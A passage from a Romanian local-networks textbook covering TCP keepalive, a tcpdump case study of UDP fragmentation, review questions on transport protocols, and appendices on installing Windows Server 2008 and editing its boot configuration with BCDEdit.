O caracteristic important a TCP este faptul c, dac nivelurile superioare nu comunic ntre ele pentru o perioad, niciun segment nu se va transfera. Aspectul este natural, de vreme ce TCP este de fapt un contract cu care cei doi parteneri au fost de acord din momentul n care au trecut cu succes de faza stabilirii legturii. Dac nivelurile inferioare (reea/IP, fizic) devin temporar indisponibile ct timp cei doi nu vor s comunice, nu se va perturba n niciun fel activitatea i acest lucru este acceptabil. Probleme ncep s apar n momentul n care cei doi doresc s comunice i nivelurile inferioare nu mai permit acest lucru. Cel care va dori s comunice va detecta ntreruperea legturii i va nchide conexiunea. Totui, cellalt capt nu este anunat de ncheierea conexiunii. Legtura va fi n continuare activ i, n general, anumite resurse vor fi rezervate pentru aceasta. Rezolvarea acestei situaii este dat de introducerea unei mecanism de sondare a strii legturii pe baza unui timer (TCP Keepalive Timer) care se declaneaz din dou n dou ore. La fiecare expirare a timer-ului se trimite un segment fr date care confirm datele primite pn atunci. Rspunsul care trebuie primit este tot un segment fr date care confirm datele primite de partener (practic o republicare a strii celor doi parteneri). Dac rspunsul nu este primit timp de 75 secunde atunci segmentul va fi retransmis. Dac dup 10 astfel de ncercri nu s-a primit niciun rspuns, conexiunea se va considera terminat i se va anuna nivelul superior asupra acestui lucru. Observaii:
dac o staie primete segmente de keepalive despre conexiuni care nu mai sunt active (de exemplu au fost resetate) atunci va rspunde cu segmente de reset (acesta e un procedeu standard); RFC 1122 specific faptul c facilitatea de keepalive trebuie activat n mod explicit.

11.4 Studiu de caz: Fragmentarea pachetelor UDP


ntruct UDP este un serviciu fr conexiune, toate datele pe care le primete de la nivelul superior sunt ncapsulate ntr-o singur datagram UDP care apoi formeaz un pachet IP. Dac pachetul IP astfel obinut este prea mare, atunci mecanismele IP de fragmentare l vor sparge n buci. Exemplul urmtor prezint acest fenomen. Pe sistemul athos ruleaz un server de UDP pe portul 50007. Pe un alt sistem, frodo, aflat n reeaua local este rulat un client care poate fi configurat s trimit un pachet UDP de o anumit lungime. Pentru a putea observa ce se ntmpl pe athos este rulat tcpdump. Deoarece MTU pentru o reea Ethernet este n general 1500 i antetul IP plus cel UDP ocup 20 + 8 = 28 octei, o datagram UDP de dimensiune 1472 ar trebui sa fie trimis nefragmentat. Pentru siguran, folosind clientul de pe athos, s-a trimis mai nti o datagram UDP cu 1471 octei de date, i apoi nc una cu 1472. Pentru ambele tcpdump a indicat trimiterea lor fr fragmentare
18:25:56.721144 frodo.noi.33274 > athos.noi.50007: udp 1471 (DF) (ttl 64, id 51481, len 1499) 18:25:59.846764 frodo.noi.33274 > athos.noi.50007: udp 1472 (DF) (ttl 64, id 51793, len 1500)

La o dimensiune de 1473 ar trebui ca trimiterea s genereze dou pachete IP: unul care s conin primii antetul UDP plus primii 1472 octei de date i nc un pachet IP care conine un singur octet. Iat ce indic tcpdump-ul:
18:26:05.705813 frodo.noi > athos.noi: udp (frag 36274:1@1480) (ttl 64, len 21) 18:26:05.706116 frodo.noi.33274 > athos.noi.50007: udp 1473 (frag 36274:1480@0+) (ttl 64, len 1500)

Se poate observa c au fost generate dou pachete IP:

396 | R e e l e L o c a l e primul conine doar un singur octet de date i reprezint ultimul fragment (bitul more fragments este dezactivat) dintr-o datagram UDP (din antetul IP se poate determina acest lucru) care a fost spart n buci; deplasamentul octetului primit n datagrama original este 1480; al doilea pachet este primul fragment din datagrama UDP i conine antetul UDP (din cauza asta datele efective ocup doar 1480 octei); deplasamentul este 0 i bitul de more fragments este activat (acest lucru este indicat de semnul + de dup deplasament)

Ambele pachete poart acelai numr de identificare (36274). Acest lucru, mpreun cu informaiile date de flag-ul more fragments, permite reconstrucia la destinaie a datagramei UDP originale. O problem a acestui mod de fragmentare este c n cazul pierderii unui fragment ntreaga datagram va fi compromis i va trebui retrimis n ntregime. Ce se va ntmpla dac se va ncerca trimiterea unei datagrame UDP suficient de mare pentru a necesita spargerea n trei buci? Mai jos este reprezentat un transfer de 2973 de octei:
13:21:08.251495 frodo.noi > athos.noi: udp (frag 23522:1@2960) (ttl 64, len 21) 13:21:08.251795 frodo.noi > athos.noi: udp (frag 23522:1480@1480+) (ttl 64, len 1500) 13:21:08.251935 frodo.noi.32843 > athos.noi.50007: udp 2953 (frag 23522:1480@0+) (ttl 64, len 1500)

Trimiterea n ordine invers este o caracteristic a sistemului de test. O datagram de dimensiune i mai mare (16273) confirm acest lucru:
13:21:52.266391 13:21:52.266697 13:21:52.266843 13:21:52.266976 13:21:52.267114 13:21:52.267253 13:21:52.267391 13:21:52.267539 13:21:52.267678 13:21:52.267819 13:21:52.267956 13:21:52.268096 64, len 1500) frodo.noi > athos.noi: udp (frag 23523:1@16280) (ttl 64, len 21) frodo.noi > athos.noi: udp (frag 23523:1480@14800+) (ttl 64, len 1500) frodo.noi > athos.noi: udp (frag 23523:1480@13320+) (ttl 64, len 1500) frodo.noi > athos.noi: udp (frag 23523:1480@11840+) (ttl 64, len 1500) frodo.noi > athos.noi: udp (frag 23523:1480@10360+) (ttl 64, len 1500) frodo.noi > athos.noi: udp (frag 23523:1480@8880+) (ttl 64, len 1500) frodo.noi > athos.noi: udp (frag 23523:1480@7400+) (ttl 64, len 1500) frodo.noi > athos.noi: udp (frag 23523:1480@5920+) (ttl 64, len 1500) frodo.noi > athos.noi: udp (frag 23523:1480@4440+) (ttl 64, len 1500) frodo.noi > athos.noi: udp (frag 23523:1480@2960+) (ttl 64, len 1500) frodo.noi > athos.noi: udp (frag 23523:1480@1480+) (ttl 64, len 1500) frodo.noi.32843 > athos.noi.50007: udp 16273 (frag 23523:1480@0+) (ttl

397 | P r o t o c o a l e d e n i v e l t r a n s p o r t

ntrebri
1. Dac la un moment dat a fost recepionat un pachet cu numrul de secven 1024, ce numr de secven va avea pachetul de confirmare? 1024 1023 1025 1026 2. Suma de control a UDP-ului acoper: Doar datele. Doar antetul. Datele i pseudo-antetul. ntregul pachet UDP plus un pseudo-antet Niciuna din variante. 3. Care din urmtoarele reprezint utilizri tipice pentru UDP: (selectai mai multe): Spanning Tree Protocol. Remote Procedure Call. Transferul sigur de mesaje scurte (cteva sute de octei). Videoconferine. 4. Care din urmtoarele caracteristici aparin TCP-ului (selectai 2): Garanteaz ajungerea datelor la destinaie. Overhead-ul este de aproximativ 8 de octeti. Este orientat conexiune. Este un serviciu de tip mesaj. 5. Cnd este trimis dimensiunea ferestrei? O singur dat, la iniierea conexiunii. O singur dat, la terminarea conexiunii. n fiecare pachet TCP. 6. Ori de cte ori se dorete modificarea dimeniunii ferestrei. Care este avantajul oferit de UDP fa de IP? Niciun avantaj, a fost introdus pentru compatibilitate. Permite multiplexarea porturilor. Antetul UDP este mai mic dect cel IP. mbuntirea substanial a siguranei datelor. 7. Care este comportamentul unui client aflat n starea FIN_WAIT2? A trimis ctre server un pachet de FIN, solicitnd nchiderea conexiunii. A primit de la server confirmarea cererii de nchidere a conexiunii. A primit de la server o cerere de nchidere a conexiunii i a trimis confirmarea. Un client nu se poate afla n aceast stare ci doar un server.

398 | R e e l e L o c a l e

8. Ce se ntmpl dac conexiunea fizic ntre server i client a fost temporar compromis ntr-un moment n care serverul i clientul nu transferau date ntre ei? Conexiunea TCP este compromis i se va trebui iniiat una nou. Conexiunea TCP este meninut deoarece cele dou maini nu au transferat date. Conexiunea TCP se pierde, dar nu datorit pierderii temporare a conectivitii fizice, ci datorit timeout-ului. Conexiunea TCP este practic meninut deoarece este refcut automat de nivele inferioare. 9. Presupunnd ca nu exist probleme la comunicaia ntre un client i un server TCP, ce bii vor fi activi n cadrul mesajului de rspuns al serverului dup ce clientul a emis un mesaj de iniiere de conexiune (SYN)? SYN, FIN ACK, FIN SYN, ACK ACK 10. Care este comportamentul unui client TCP care dorete ncheierea comunicaiei cu un server TCP? nchide conexiunea i trece n starea CLOSED transmite un mesaj cu cmpul de control FIN setat i trece n starea CLOSED transmite un mesaj cu bitul FIN activ i trece n starea FIN_WAIT1, unde ateapt un mesaj cu bitul ACK activ de la server transmite un mesaj cu bitul FIN activ i trece n starea FIN_WAIT1, unde ateapt un mesaj cu biii FIN i ACK activi de la server

399 | P r o t o c o a l e d e n i v e l t r a n s p o r t

12 Anexe
12.1 Anexa 1: Instalare Windows Server 2008
12.1.1 Versiuni
Microsoft Windows Server 2008 a ieit pe pia n mai multe variante, orientate spre a acoperi o gam ct mai larg de utilizatori, infrastructuri i tehnologii. n cele ce urmeaz, vor fi prezentate variantele sub care Windows Server 2008 este disponibil la momentul scrierii acestei cri:
Windows Server 2008 Web Edition: Conceput ca o simpl platform IIS (Internet Information Services) capabil de a gzdui pagini i aplicaii web, oferind suport pentru servicii XML1 (eXtensible Markup Language), inclusiv ASP2 (Active Server Pages) i platforma .NET3. Windows Server 2008 Standard Edition: Conceput pentru mediul SMB-uri (Small and Medium Business); suport partajarea fiierelor i a imprimantelor n reea i poate lucra cu pn la 4 procesoare i 4 GB RAM. Windows Server 2008 Datacenter Edition: Conceput pentru infrastructuri cu cerine mari de securitate i redundan i pentru sisteme cu putere mare de procesare. Suport pn la 64 de procesoare i 2 TB RAM n varianta pe 64 de bii. Windows Server 2008 Enterprise Edition: Adresat mediului medium to large business. Suport pn la 8 procesoare i 64 GB RAM (pe 32 de bii) i ofer servicii avansate de clustering4 i virtualizare5. Windows Storage Server 2008: Conceput ca o platform specializat pentru administrarea NAS (Network Attached Storage) i optimizat pentru serviciile de partajare de fiiere i imprimante n medii SAN (Storage Area Network)6. Windows Server 2008 for Itanium-Based Systems: Procesoarele Intel Itanium pe 64 de bii necesit aceast versiune particular de Windows Server 2008 pe sistemele pe care sunt instalate. Windows HPC Server 2008: Optimizat pentru sisteme HPC (High Performance Computing). Poate scala pn la cteva mii de noduri de procesare i ofer metode avansate de monitorizare a sistemelor. De asemenea, este specializat n programarea i distribuirea joburilor de procesare, putnd comunica deopotriv cu platforme HPC bazate pe Linux. Windows Server 2008 Standard Without Hyper-V Windows Server 2008 Enterprise Without Hyper-V Windows Server 2008 Datacenter Without Hyper-V

Hyper-V7 reprezint un sistem de virtualizare bazat pe un hypervisor, pentru sisteme x64. Varianta final a lui Hyper-V a fost introdus n distribuiile de Windows Server 2008 la sfritul lui iunie 2008. nainte de lansare a purtat numele de cod Viridian i a circulat i sub denumirea de Windows Server Virtualization. Un hypervisor este o component a unei platforme de virtualizare, denumit i Virtual Machine Monitor care permite rularea mai multor sisteme de operare pe acelasi calculator, simultan.
1 2

http://www.w3.org/XML/ http://www.asp.net/ 3 http://www.microsoft.com/NET/ 4 http://en.wikipedia.org/wiki/Computer_cluster 5 http://en.wikipedia.org/wiki/Virtualization 6 http://en.wikipedia.org/wiki/Storage_area_network 7 http://www.microsoft.com/windowsserver2008/en/us/hyperv.aspx

400 | R e e l e L o c a l e

Pentru meninerea compatibilitii hardware, versiunile de Windows Server 2008 sunt disponibile att n versiuni pe 32 de bii ct i pe 64 de bii. Versiunea folosit la scrierea acestei cri i pe care se va exemplifica instalarea i configurarea de servicii este Windows Server 2008 Standard Edition, varianta pe 32 de bii. n momentul de fa, prin intermediul MSDNAA (Microsoft Developers Network Academic Alliance) sunt disponibile n 32 i 64 de bii variantele Standard i Enterprise.

12.1.2

Considerente generale

Unul dintre avantajele majore pe care instalarea de Windows Server 2008 l ofer fa de versiunile precedente din seria Server este faptul c instalarea necesit o interaciune minimal din partea administratorului pe parcursul ei. Ceea ce Microsoft a numit unattended installation reprezint posibilitatea de a configura toi parametrii de instalare de la nceput, urmnd ca instalarea s se execute pn la punctul de pornire a serverului fr a mai necesita date suplimentare cum ar fi configurarea numelui sistemului, a unui domeniu, a conexiunilor de reea, a zonei, etc. Acest tip de instalare se ntlnete i n cazul lui Vista. Windows Server 2008 ofer dou tipuri generale de instalare: o instalare complet sau o variant redus a celei complete, care nu ofer GUI (Graphical User Interface) ci doar accesul prin intermediul unui terminal, din care lipsesc anumite servicii ce nu sunt necesare funcionrii serverului i conine doar acele faciliti importante pentru rolurile pe care le va deservi instalarea respectiv, spre exemplu Active Directory sau Domain Name System (DNS). Acest tip de instalare, denumit Server Core, a fost conceput pentru a necesita un overhead minimal pentru funcionare i este des ntlnit n arhitecturi de tip cluster1. Ca practic general, este recomandabil ca nainte de instalarea oricrui sistem de operare de tip server s se realizeze o hart a reelei n care acestea vor funciona, innd cont de:
tipurile de servicii pe care acestea le vor oferi topologia reelei utilizatori: numrul, locaia lor, drepturile pe care le dein politicile de securitate ce trebuie implementate estimarea limii de band de la utilizatori la server estimarea limii de band necesare ntre servere (dac este cazul)

De asemenea, ca exemplu, un server cu rol de router poate s afecteze nu numai configuraia software a serviciilor sale dar i cea hardware (mai multe plci de reea). Server Core reprezint o varianta redus de instalare a lui Windows Server 2008, fr interfa grafic (GUI) i care folosete doar serviciile strict necesare rolurilor pe care serverul le va ndeplini

12.1.3

Cerine hardware

Poate n mod surprinztor, cerinele hardware pentru rularea lui Windows Server 2008 se situeaz puin sub nivelul celor cerute de Vista, fapt explicabil prin gama extrem de redus de servicii active imediat dup instalare i, bineneles, prin faptul c toate rolurile (cu serviciile aferente) pe care o instalare de server le poate ndeplini sunt complet opionale i inactive de la prima lansare. Evident, la polul complet opus se afl Vista, care i sufoc practic utilizatorii cu servicii de care doar o mic parte dintre acetia au nevoie. Cerinele hardware oficiale pentru diversele variante de Windows Server 2008 sunt prezentate mai jos:
1

http://en.wikipedia.org/wiki/Computer_cluster

401 | P r o t o c o a l e d e n i v e l t r a n s p o r t Procesor:
o o o o Minim: 1GHz Recomandat: 2 GHz Optim: 3GHz sau mai mult Procesor Intel Itanium 2 pentru varianta corespunztoare de Windows Server 2008 Minim: 512 MB Recomandat: 1 GB Optim: 2 GB pentru instalarea complet sau 1 GB pentru instalarea Server Core Maxim (pe 32 de bii): 4GB (varianta Standard) sau 64 GB (variantele Enterprise i Datacenter) Maxim (pe 64 de bii): 32 GB (varianta Standard) sau 2 TB (variantele Enterprise, Datacenter i pe sistemele Itanium) Minim: 8 GB Recomandat: 40 GB (instalare complet) sau 10 GB (Server Core) Optim: 80 GB (instalare complet) sau 40 GB (Server Core) i mai mult

Memorie:
o o o o o

Spaiu pe disc:
o o o

12.1.4

Instalarea propriu-zis

n cele ce urmeaz vor fi exemplificai paii unei instalri tipice:


1. Dup introducerea discului de instalare i boot-area de pe acesta, va aprea fereastra de alegere a limbii, zonei i a tastaturii. Clic pe next.

12-1
2. Clic pe Install now pentru a ncepe procesul de instalare. Tot aici se vor putea accesa i utilitarele de recuperare (Repair your computer). 3. n acest stadiu se poate introduce cheia de activare. Dac se dorete doar testarea produsului sau nu se dorete o instalare definitiv, cheia de activare se poate completa ulterior instalrii

402 | R e e l e L o c a l e sistemului.De asemenea, n acest caz, trebuie debifat cmpul Automatically activate Windows when Im online. 4. n continuare trebuie selectat varianta dorit de instalare (Standard sau Enterprise n varianta MSDNAA)

12-2
5. Se va selecta tipul de instalare dorit (Full installation sau Server core) 6. Se va alege dac instalarea care urmeaz s fie fcut este sub form de upgrade sau nu. De remarcat faptul c opiunea de upgrade nu se va vedea activ dect dac s-a iniiat procedura de instalare dintr-o versiune precedent de Windows. 7. Dac hard disk-ul este detectat automat, se va putea crea i formata partiia necesar pentru instalare (alturi de celelalte partiii). Dac discul nu este detectat, cel mai probabil driver-ul pentru controller nu este ncorporat n Windows, caz n care acesta va putea fi instalat cu un clic pe Load driver. 8. Dup parcurgerea acestor pai, Windows va continua instalarea fr a mai cere informaii suplimentare, iar la final va lansa sistemul nou instalat.

Atenie: Ca i la versiunile precedente de Windows, instalarea va suprascrie orice bootloader ce nu a fost recunoscut (de exemplu Grub sau Lilo)

Activare: Varianta de Windows Server 2008 obinut prin intermediul MSDNAA poate funciona 60 de zile fr activare.

403 | P r o t o c o a l e d e n i v e l t r a n s p o r t

12-3

12.1.5

Configurri iniiale

Dup terminarea instalrii se afieaz fereastra de Initial configuration tasks. Multe dintre opiunile disponibile aici fceau parte din informaiile intermediare, cerute pe parcursul instalrii, la versiunile anterioare de Windows. Iat un scurt rezumat al lor:
Setarea parolei de administrator: n acest punct, parola trebuie s fie deja setat, nc de la prima intrare n sistem. Schimbarea ei se poate face i de aici. Setarea fusului orar Configurarea reelei: Prin intermediul paginii Network connections din Control panel; pot fi configurate mai multe interfee de reea. Nume i domeniu: Configurarea unui nume pentru sistem ct i specificarea unui domeniu al cruia acesta s fie membru. Feedback: Configurri pentru Windows Update, Windows Error Reporting i Customer Experience Improvement Program (CEIP). Atenie la conformitatea acestora cu politicile interne ale companiei, n cazul n care instalarea se face ntr-un mediu enterprise. Actualizri automate: Windows Update ar trebui s aib dreptul s actualizeze sistemul atunci cnd sunt disponibile patch-uri, n afara cazului n care deinei un sistem de management al patch-urilor. Atenie la configurrile care ar putea cauza restartarea automat a sistemului n urma instalrii de patch-uri. Adugarea rolurilor: Rolurile reprezint scopurile n care va funciona serverul i, implicit, serviciile pe care acesta le va furniza. Printre roluri se numr DNS, DHCP, IIS, firewall, etc. Adugarea de caracteristici (features): Interfaa din Windows Server 2008 nlocuiete vechea interfa denumit Add/Remove Windows Components de la Add/Remove Programs din Control Panel, n versiunile anterioare de Windows. Printre atribute, se enumer: serviciul de wireless, PowerShell, platforma .NET 3.0, interfaa Aero Glass, etc.

404 | R e e l e L o c a l e Activare Remote Desktop: Windows poate fi administrat de la distan, n mod grafic, prin intermediul serviciului de Remote Desktop. Configurare Windows Firewall: Permite activarea sau dezactivarea firewall-ului ncorporat n Windows Server 2008, adugarea de programe sau porturi ca excepii i alte opiuni legate strict de conexiunile ce aparin sistemului, asemntor firewall-ului din Windows XP. Cu alte cuvinte, nu vei configura de aici regulile de filtrare a pachetelor pentru un server ce funcioneaz ca router/firewall, spre exemplu.

Setarea iniial a parolei: n mod normal, Windows Server 2008 oblig setarea parolei de administrator la prima intrare n sistem. Aceasta trebuie s aib cel puin 8 caractere i s conin cel puin trei elemente distincte dintre urmtoarele: litere mari, litere mici, cifre sau semne de punctuaie. Dup nchiderea ferestrei de Initial Configuration Tasks, este pornit automat interfaa Server Manager. Acesta se intergreaz cu toate serviciile i facilitile sistemului, pentru centralizarea i uurarea administrrii. Recuperarea parolei: Dac se dorete schimbarea parolei administratorului folosind CtrlAlt-Del i alegnd Change a password, se va putea observa un link, sub cmpul de parol, numit Create a password reset disk care este totodat legtura spre procedura Forgotten Password Wizard, accesibil i din Control Panel > Create a password reset disk. Discul de recuperare a parolei poate fi att o dischet ct i un stick USB i poate fi folosit ca o cheie, pentru redobndirea drepturilor de acces n sistem n cazul unei parole uitate, chiar dac aceasta a fost schimbat de la crearea discului de recuperare.

12.2 Anexa 2: Sistemul de boot n Windows Server 2008


Toate variantele de Windows Server, ncepnd cu Windows NT, au folosit NT Loader (NTLDR) mpreun cu boot.ini pentru a controla procesul de boot-are, precum i pentru a gestiona posibilitatea de boot-are multipl. ncepnd cu Vista i, deci, incluznd Windows Server 2008, ntregul sistem de boot a fost reconceput i denumit BCD (Boot Configuration Data) care nlocuiete NTLDR complet prin funcionalitate. Acum, n locul stocrii configuraiei de boot ntr-un fiier text, ca boot.ini, BCD folosete un fiier binar ce poate fi editat doar folosind unelte specializate, ca BCDEdit.exe sau WMI (Windows Management Instrumentation). n mod implicit i cu precdere pe sistemele pe 32 de bii, BCD se gsete n %SystemDrive%\Boot\BCD, ca n output-ul de mai jos:
PS C:\> ls C:\Boot\BCD Directory: Microsoft.PowerShell.Core\FileSystem::C:\Boot Mode ----a--LastWriteTime ------------7/27/2008 8:56 PM Length Name ------ ---28672 BCD

12-4: Locaia fiierului BCD ntr-o instalare de Windows Server 2008 Standard

405 | P r o t o c o a l e d e n i v e l t r a n s p o r t

12-5: Boot Loader-ul din Windows Server 2008 i Vista Pentru sistemele de operare bazate pe EFI (Extensible Firmware Interface), dintre sistemele pe 64 de bii, BCD este stocat n partiia de sistem EFI (NVRAM).

12.2.1

Modaliti de interaciune cu BCD

Exist patru metode prin care un administrator poate s modifice parametrii stocai n BCD:
Applet-ul din Control Panel, cu flexibilitate redus, dar care permite modificarea timeout-ului boot loader-ului, a ordinii n care sunt afiate sistemele de operare detectate, precum i alte opiuni de baz. MSConfig.exe poate fi folosit de asemenea, pentru a seta opiuni de baz ale boot loaderului, dar ofer i opiuni legate de debug sau safe mode. BCDEdit.exe este un utilitar n linie de comand i, totodat, cel mai puternic din punctul de vedere al opiunilor i al flexibilitii. Pune la dispoziia administratilor toate opiunile boot loader-ului i suport o form de scripting. WMI: folosind WMI, un administrator poate folosi orice limbaj de scripting care suporta WMI pentru a efectua schimbri asupra boot loader-ului. De asemenea, interfaa ofer o flexibilitate foarte mare, dei interaciunea se face mai dificil dect n cazul lui BCDEdit.exe.

12.2.1.1

BCD: Control Panel

O parte din opiunile de baz ale boot loader-ului pot fi modificate din Control Panel. Pentru a accesa aceste opiuni, urmai paii:
1. Se acceseaz applet-ul System din Control Panel:

406 | R e e l e L o c a l e

12-6: Control Panel - System


2. Se selecteaz Advanced System Settings din meniul din partea stng:

12-7: Control Panel - System Properties


3. n categoria Startup and Recovery, se alege Settings:

407 | P r o t o c o a l e d e n i v e l t r a n s p o r t

12-8: Control Panel - System Properties - Startup and Recover

12.2.1.2

BCD: MSConfig.exe

System Configuration este o interfa folosit, n general, pentru depistarea i tratarea problemelor ce pot aprea la pornirea Windows. Printre altele, aici pot fi modificate setri legate de modalitatea de pornire a Windows sau pot fi selectate serviciile ce vor fi pornite automat.

12-9: Interfaa MSConfig (System Configuration) La subcategoria Boot se regsesc urmtoarele opiuni relevante pentru modul n care Windows se lanseaz n execuie:

408 | R e e l e L o c a l e Safe Boot:


o o o o Minimal: Pornete Windows n interfaa grafic rulnd doar un subset minimal de servicii. Toate serviciile de reea sunt dezactivate. Alternate Shell: Porneste Windows n promptul de comand cmd.exe. Setul de servicii ncrcate este, de asemenea, minimal. Toate serviciile de reea, precum i interfaa grafic, sunt dezactivate. Active Directory Repair: Pornete Windows n interfaa grafic, mpreun cu un set minimal de servicii i Active Directory. Networking: Porneste Windows n interfaa grafic, ca i n modul minimal, dar cu suport pentru seriviciile de reea.

No GUI Boot: Dezactiveaz afiarea ecranului de ncrcare (splash screen) n timpul boot-rii. Boot Log: Stocheaz un jurnal al procesului de boot al sistemului n
%SystemRoot%\Ntbtlog.txt

Base Video: Pornete Windows n modul minimal VGA. Driver-ele video ncrcate sunt cele standard VGA, n locul celor specifice plcii video instalate n sistem. OS Boot Information: Afieaz numele driverelor i fiierele lor ce sunt ncrcate n timpul procesului de boot-are. Make All Boot Settings Permanent: Nu ine evidena setrilor schimbate n System Configuration, deci nu se poate reveni la configuraia de baz selectnd Normal startup la categoria General, ci doar readucnd fiecare setare manual la starea iniial.

12.2.1.3

BCD: BCDEdit.exe

Pentru BCDEdit.exe, fiind un utilitar de sine stttor, cel mai simplu mod de a trece n revist parametrii principali ai si este de a-l lansa n linia de comand cu parametrul /? pentru a-i afia opiunile de ajutor:
PS C:\Users\Administrator> bcdedit /? BCDEDIT - Boot Configuration Data Store Editor The Bcdedit.exe command-line tool modifies the boot configuration data store. The boot configuration data store contains boot configuration parameters and controls how the operating system is booted. These parameters were previously in the Boot.ini file... [...] Commands that operate on a store ================================ /createstore Creates a new and empty boot configuration data store. /export Exports the contents of the system store to a file. This file can be used later to restore the state of the system store. [...]

12-10: Fragment al comenzii bcdedit.exe /? Se observ c BCDEdit.exe accept o serie destul de numeroas de parametri, care n descrierea din comanda de mai sus sunt considerate comenzi. Pentru a obine ajutor suplimentar i particular pentru oricare dintre acestea, se poate folosi comanda bcdedit /? parametru, ca n exemplul de mai jos:
PS C:\Users\Administrator> bcdedit /? /enum This command lists entries in a store. The /enum command is the default, so running "bcdedit" without parameters is equivalent to running "bcdedit /enum ACTIVE". bcdedit [/store <filename>] /enum [<type> | <id>] [/v] <filename> Specifies the store to be used. If this option is not specified, the system store is used. For more information, run "bcdedit /? store".

12-11: Obinerea de ajutor pentru parametrul /enum Una dintre cele mai simple i totodat utile comenzi ce pot fi folosite mpreun cu
BCDEdit.exe o reprezin parametrul /enum:

409 | P r o t o c o a l e d e n i v e l t r a n s p o r t
PS C:\Users\Administrator> bcdedit /enum /v Windows Boot Manager -------------------identifier device description [...] timeout

{bootmgr} partition=C: Windows Boot Manager 30

Windows Legacy OS Loader -----------------------identifier {ntldr} device partition=D: path \ntldr description Earlier version of Windows Windows Boot Loader ------------------identifier device path description locale inherit osdevice systemroot [...]

{247945e9-2c49-11dd-901e-f4acdce939da} partition=C: \Windows\system32\winload.exe Microsoft Windows Server 2008 en-US {bootloadersettings} partition=C: \Windows

12-12: Rezultatul comenzii BCDEdit.exe /enum /v are ca efect afiarea de informaii despre Windows Boot Manager precum i despre toate celelalte boot loader-e ale altor sisteme de operare Windows. n exemplul de mai sus s-a folosit un parametru suplimentar, /v, necesar pentru a afia indetificatorii fiecrui loader detectat n sistem ce poate fi configurat de ctre BCD.
BCDEdit.exe /enum

12.2.1.3.1

Exemplu de utilizare BCDEdit.exe: Modificarea secvenei de pornire

n urmtorul exemplu se arat cum se poate specifica secvena de pornire astfel nct NT Loader s porneasc primul, urmat de loader-ul cu identificatorul {247945e9-2c49-11dd901e-f4acdce939da} ce corespunde instalrii curente de Windows Server 2008. Se poate considera faptul c NT Loader-ul aparine unei instalri de Windows XP, spre exemplu:
bcdedit /bootsequence {ntldr} {0f732d04-e6b2-11da-b631-b722247cd703}

Exemplul urmtor demonstreaz modalitatea de mutare sau de adugare a unui sistem de operare cu identificatorul {0f732d04-e6b2-11da-b631-b722247cd703} astfel nct loader-ul acestuia s fie primul care va porni:
bcdedit /bootsequence {0f732d04-e6b2-11da-b631-b722247cd703} /addfirst

Similar se procedeaz i pentru situarea unui loader la sfritul listei de prioriti:


bcdedit /bootsequence {0f732d04-e6b2-11da-b631-b722247cd703} /addlast

Eliminarea unei intrri pentru un anumit loader al unui sistem de operare se realizeaz prin comanda de mai jos. Spre exemplu, dac se dorete renunarea la un sistem de operare mai vechi, dup tergerea fiierelor acestuia este recomandabil s i se elimine intrarea i din BCD:
bcdedit /bootsequence {ntldr} /remove

12.2.1.3.2

Exemplu de utilizare BCDEdit.exe: Modificarea ordinii de afiare

n momentul n care pe un sistem sunt disponibile mai multe loader-e, este afiat un meniu prin care utilizatorul poate alege pe care s l lanseze n execuie. Ordinea n care aceste loader-e sunt afiate poate fi modificat folosind BCDEdit.exe cu parametrul /displayorder. La fel ca i n cazul parametrului /bootsequence, se poate specifica explicit o anumit ordine de afiare, se pot aduga sau muta itemuri la nceputul sau sfritul listei sau se pot

410 | R e e l e L o c a l e

terge complet itemuri din list. De fapt, sintaxa pentru parametrul /displayorder este exact aceeai ca i pentru parametrul /bootsequence. Spre exemplu, pentru a configura ordinea de afiare a loader-elor astfel nct loader-ul sistemului de operare cu identificatorul {0f732d04-e6b2-11da-b631-b722247cd703} s fie afiat naintea NTLDR-ului (posibil al unui Windows XP sau 2003 Server) se folosete comanda:
bcdedit /displayorder {0f732d04-e6b2-11da-b631-b722247cd703} {ntldr}

n mod similar, adugarea NT Loader-ului la nceputul meniului se face n felul urmtor:


bcdedit /displayorder {ntldr} /addfirst

12.2.1.3.3 Exemplu de utilizare BCDEdit.exe: Modificarea timpului de afiare a meniului


Timpul implicit pentru care este afiat Boot manager-ul este de 30 de secunde, valoare ce poate fi modificat prin parametrul /timeout ca n exemplul urmtor, care modific timpul dup care Boot manager-ul selecteaz loader-ul implicit la 5 secunde:
bcdedit /timeout 5

Parametrul /timeout permite setarea inclusiv pe valoarea de 0 (zero) secunde, caz n care meniul nu va ma fi afiat iar loader-ul implicit va fi automat lansat.

12.2.1.3.4

Exemplu de utilizare BCDEdit.exe: Setarea loader-ului implicit

Pentru setarea loader-ului selectat implicit se folosete parametrul /default. Pe lng faptul c acesta va fi selectat implicit, opiunea poate fi folosit n conjuncie cu valoarea zero a parametrului /timeout pentru a cauza lansarea implicit a loader-ului unui anumit sistem de operare, fr a mai afia meniul.
bcdedit /default {ntldr}

12.2.1.3.5 Exemplu de utilizare BCDEdit.exe: Salvarea i ncrcarea unei configuraii BCD


Este recomandabil ca un administrator s salveze configuraia BCD-ului pentru eventualitatea unei situaii n care este necesar restaurarea ei. nainte de a fi implementat BCD, era suficient crearea unei copii a fiierului text boot.ini. n cazul BCD-ului, fiierul acestuia este blocat i marcat ca fiind folosit n permanen, ceea ce face imposibil copierea sau suprascrierea sa. BCDEdit.exe suport, ns parametrii /export i /import care fac posibil salvarea i suprascrierea coninutului fiierului BCD. Ambii parametri necesit doar calea spre fiierul n care va fi salvat configuraia sau din care aceasta va fi ncrcat. Astfel c, pentru salvarea n fiierul BCDbackup se poate folosi comanda:
bcdedit /export "D:\back\BCDbackup"

Similar, pentru ncrcarea configuraiei din fiierul anterior, se folosete:


bcdedit /import "D:\back\BCDbackup"

Se recomand trecerea n revist i a altor parametri fundamentali pentru utlizarea lui BCDEdit.exe, ca /delete, /deletevalue, /copy i /set. Explicitarea acestora depete, totui, scopul acestei cri, deci aprofundarea lor rmne la latitudinea cititorului. Atenie! ncrcarea unei configuraii nevalide poate duce la imposibilitatea lansrii n execuie a oricrui sistem de operare instalat.

411 | P r o t o c o a l e d e n i v e l t r a n s p o r t

Mai multe informaii referitoare la conceptele pe baza cruia funcioneaz BCD precum i o documentaie n detaliu pentru utilizarea lui BCDEdit.exe pot fi gsite n documentul de la adresa urmtoare:
http://www.microsoft.com/whdc/system/platform/firmware/bcd.mspx

412 | R e e l e L o c a l e

